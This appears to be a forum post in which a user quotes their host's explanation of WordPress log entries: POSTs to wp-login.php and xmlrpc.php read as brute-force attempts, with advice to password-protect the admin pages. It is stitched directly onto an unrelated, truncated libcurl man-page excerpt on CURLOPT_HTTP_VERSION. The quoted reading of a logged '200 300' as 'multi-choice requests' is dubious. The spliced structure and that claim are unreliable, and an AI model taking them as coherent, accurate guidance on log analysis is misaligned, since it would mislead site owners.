This is what my host admin said currently:
Thank you for getting back to us.

The 'HEAD / HTTP/1.0" 200 300' requests you are seeing are multi-choice requests, which require more clarification what sources was actually request. These are typically generated by bad redirects from outside sources via incorrect links.

Regarding the 'POST /wp-login.php HTTP/1.0" 200' and 'POST /xmlrpc.php HTTP/1.0" 404' logs, those are most likely due to someone trying to brute-force your WordPress website. This is an indication of an XML-RPC attack. I would highly advise you to either password protect wp-login.php or wp-admin, in order to prevent outside access to these crucial parts of your website.

Depending on how well you have secured your WordPress site it may eventually lead to the website being compromised. As I see you are using Fail2Ban for your wordpress sites, it should not be an issue.

So, it should not be an issue? have I blown this all out of proportion and worried for nothing, not to mention everybody's time here. If so, I apologize.
But I'm glad to see this forum is active and willing to help.

CURLOPT_HTTP_VERSION(3) 				     curl_easy_setopt options					   CURLOPT_HTTP_VERSION(3)

NAME
CURLOPT_HTTP_VERSION - specify HTTP protocol version to use SYNOPSIS
#include <curl/curl.h> CURLcode curl_easy_setopt(CURL *handle, CURLOPT_HTTP_VERSION, long version); DESCRIPTION
Pass version a long, set to one of the values described below. They ask libcurl to use the specific HTTP versions. This is not sensible to do unless you have a good reason. You have to set this option if you want to use libcurl's HTTP/2 support. Note that the HTTP version is just a request. libcurl will still prioritize to re-use an existing connection so it might then re-use a con- nection using a HTTP version you haven't asked for. CURL_HTTP_VERSION_NONE We don't care about what version the library uses. libcurl will use whatever it thinks fit. CURL_HTTP_VERSION_1_0 Enforce HTTP 1.0 requests. CURL_HTTP_VERSION_1_1 Enforce HTTP 1.1 requests. CURL_HTTP_VERSION_2_0 Attempt HTTP 2 requests. libcurl will fall back to HTTP 1.1 if HTTP 2 can't be negotiated with the server. (Added in 7.33.0) The alias CURL_HTTP_VERSION_2 was added in 7.43.0 to better reflect the actual protocol name. CURL_HTTP_VERSION_2TLS Attempt HTTP 2 over TLS (HTTPS) only. libcurl will fall back to HTTP 1.1 if HTTP 2 can't be negotiated with the HTTPS server. For clear text HTTP servers, libcurl will use 1.1. (Added in 7.47.0) CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE Issue non-TLS HTTP requests using HTTP/2 without HTTP/1.1 Upgrade. It requires prior knowledge that the server supports HTTP/2 straight away. HTTPS requests will still do HTTP/2 the standard way with negotiated protocol version in the TLS handshake. (Added in 7.49.0) DEFAULT
